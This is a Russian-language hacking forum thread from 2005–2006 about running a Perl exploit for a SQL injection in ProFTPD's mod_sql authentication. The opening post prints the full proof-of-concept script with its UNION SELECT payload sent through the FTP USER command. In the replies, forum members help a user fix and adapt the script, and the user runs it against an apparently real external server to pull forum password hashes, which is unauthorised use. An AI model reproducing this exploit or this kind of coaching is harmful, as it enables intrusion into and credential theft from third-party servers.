Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   sql в ProFTPD (https://forum.antichat.xyz/showthread.php?t=6033)

Майор 13.04.2005 20:26

sql в ProFTPD
 
Есть на одном сайте такая уязвимость :
SQL-инъекция в модуле mod_sql Pro_FTPD сервера. Во время аутентификации к серверу баз данных PostregSQL mod_sql_postreg некорректно обрабатывает escape строки, что позволяет удаленному атакующему в качестве имени пользователя использовать SQL запрос и получить неавторизованный доступ к базе данных на сервере.

Эксплойт написан на perle, в котором я вообще не рублю :( ........ Подскажите как его юзать ? или если кто в курсе мож как-нибудь в ручную дыру можно юзать ?
Код:

#!/usr/bin/perl
# Sql inject on ProFTPD with mod_sql proof of concept script
# runlevel [ runlevel@raregazz.org ]
# Spain, 2003

use IO::Socket;
if(@ARGC<2){
    print "\nProof Of Concept Sql Inject on ProFTPD\n";
    print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
    exit(0);
};

$server = $ARGV[0];
$query = $ARGV[1];
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1)
                          or die "Can't connect. \n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}

# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...

if($query eq "1"){
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
}else{
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' WHERE(''='\n";
};
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print $remote "PASS p\n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print "Sent query to $ARGV[0]\n";
if($line =~ /230/){  #logged in
    print "[------- Sql Inject Able \n";
}else{
    print "[------- Sql Inject Unable \n";
}
close $remote;


qBiN 13.04.2005 22:38

Ставь актив перл для винды и юзай,если линукс то там ставь прото перл,если конечно его нет(вроде во всех по умалчанию есть)

Майор 14.04.2005 00:50

его обязательно на апач надо ставить ?

PinkPanther 14.04.2005 01:41

Цитата:

Сообщение от Майор
его обязательно на апач надо ставить ?

Нет конечно. Просто устанавливай ActivePerl, а потом в командной строке набирай, к примеру: H:\my sploits\sploit.pl [параметр] , или если perl не в авто загрузке, то пиши в cmd:
C:\perl\bin\perl.exe H:\my sploits\sploit.pl [параметр]

Майор 18.04.2005 01:44

Цитата:

1.pl
Bareword found where operator expected at - line 1, near "1.pl"
(Missing operator before pl?)
вот такую ошибку выдаёт...
чё ему нехватает ?

PinkPanther 18.04.2005 17:20

Цитата:

Сообщение от Майор
вот такую ошибку выдаёт...
чё ему нехватает ?

хз, я запускал у себя твой сплойт, всё работает............хз

Майор 18.04.2005 17:27

........
а что ему в качестве парамтра передавать ?

SladerNon 18.04.2005 17:33

Майор

Может разные версии ActivePerl у тебя и PinkPanter ?

Майор 20.04.2005 00:37

Скомпилировал с горем пополам :)
но возникла проблема с передачей адреса сервера, как же это зделать ? что ему вообще надо, только ип?

в Си переменной ARGC можно можно передовать значения так : C:\perl\exployt.exe parametr
но в perl так что то неработает...

nerezus 20.04.2005 06:38

Цитата:

Скомпилировал с горем пополам
Как же это ты так смог? =)
юзай так:
perl script.pl server query

Майор 20.04.2005 13:04

Цитата:

Сообщение от nerezus
Как же это ты так смог? =)
юзай так:
perl script.pl server query

вот так и пушу :
Код:


C:\perl\bin>perl.exe 1.pl 207.248.240.118 SELECT user_password FROM forum_users;

Proof Of Concept Sql Inject on ProFTPD
Usage: perl poc-sqlftp <target> [1=Alternate query]


C:\perl\bin>

.........

зы ip изменён

nerezus 20.04.2005 14:17

начни так:

#!/usr/bin/perl
use IO::Socket;
print "\nInput your IP: ";
my $server = <stdin>;
chop ($server);
print "\nInput your query: ";
my $query = <stdin>;
chop ($query);


и в середине замени print "Sent query to $ARGV[0]\n"; на print "Sent query to $server\n";

Майор 20.04.2005 19:49

хорошо к серверу он уже конектится :)

Код:

C:\perl\bin>2.pl

Input your IP: 207.248.240.118

Input your query: SELECT user_password FROM phpbb_users
220 ProFTPD 1.2.8 Server (NewAge FTP Server) [serv.ru]
331 Password required for ')UNION.
530 Login incorrect.
Sent query to  207.248.240.118
[------- Sql Inject Unable

Наверно запрос у меня не правельный ?
или дыру каким то макаром прикрыли

nerezus 20.04.2005 21:05

>или дыру каким то макаром прикрыли
если учитывать возраст сплоита ;)

Майор 20.04.2005 21:29

лан спасибо запомощь!, буду подругому ковырять :)

m0nzt3r 12.05.2005 12:17

Цитата:

Сообщение от Майор
вот так и пушу :
Код:


C:\perl\bin>perl.exe 1.pl 207.248.240.118 SELECT user_password FROM forum_users;

Proof Of Concept Sql Inject on ProFTPD
Usage: perl poc-sqlftp <target> [1=Alternate query]


C:\perl\bin>

.........

зы ip изменён

вот когда так пишет т.е. скрипт не запускается это означает что не все или неправильный параметры передал ты скрипту.А так если анейбл то значит дырки нету =)))

ПсиХ 12.07.2006 21:32

А не подскажете что писать в query ?

zeppe1in 12.07.2006 22:29

Цитата:

Сообщение от Майор
вот так и пушу :
Код:


C:\perl\bin>perl.exe 1.pl 207.248.240.118 SELECT user_password FROM forum_users;

Proof Of Concept Sql Inject on ProFTPD
Usage: perl poc-sqlftp <target> [1=Alternate query]


C:\perl\bin>


так ты передаёш скрипту не два, а пять параметров. Запрос надо в кавычки.

nerezus 12.07.2006 22:55

уууууууу.... охренологи(археологи)... )) тему подняли полуторолетнюю ))

ПсиХ 12.07.2006 23:20

Ну дык Интересно ))) Я вот некоторые нюансы не понимаю, а объяснить некому(((

Например: ччто именно я должен вводит в query при использование эксплоита :?

как узнать в какой категории (название) хранится пароль, или логинн пользователя ?


Время: 22:46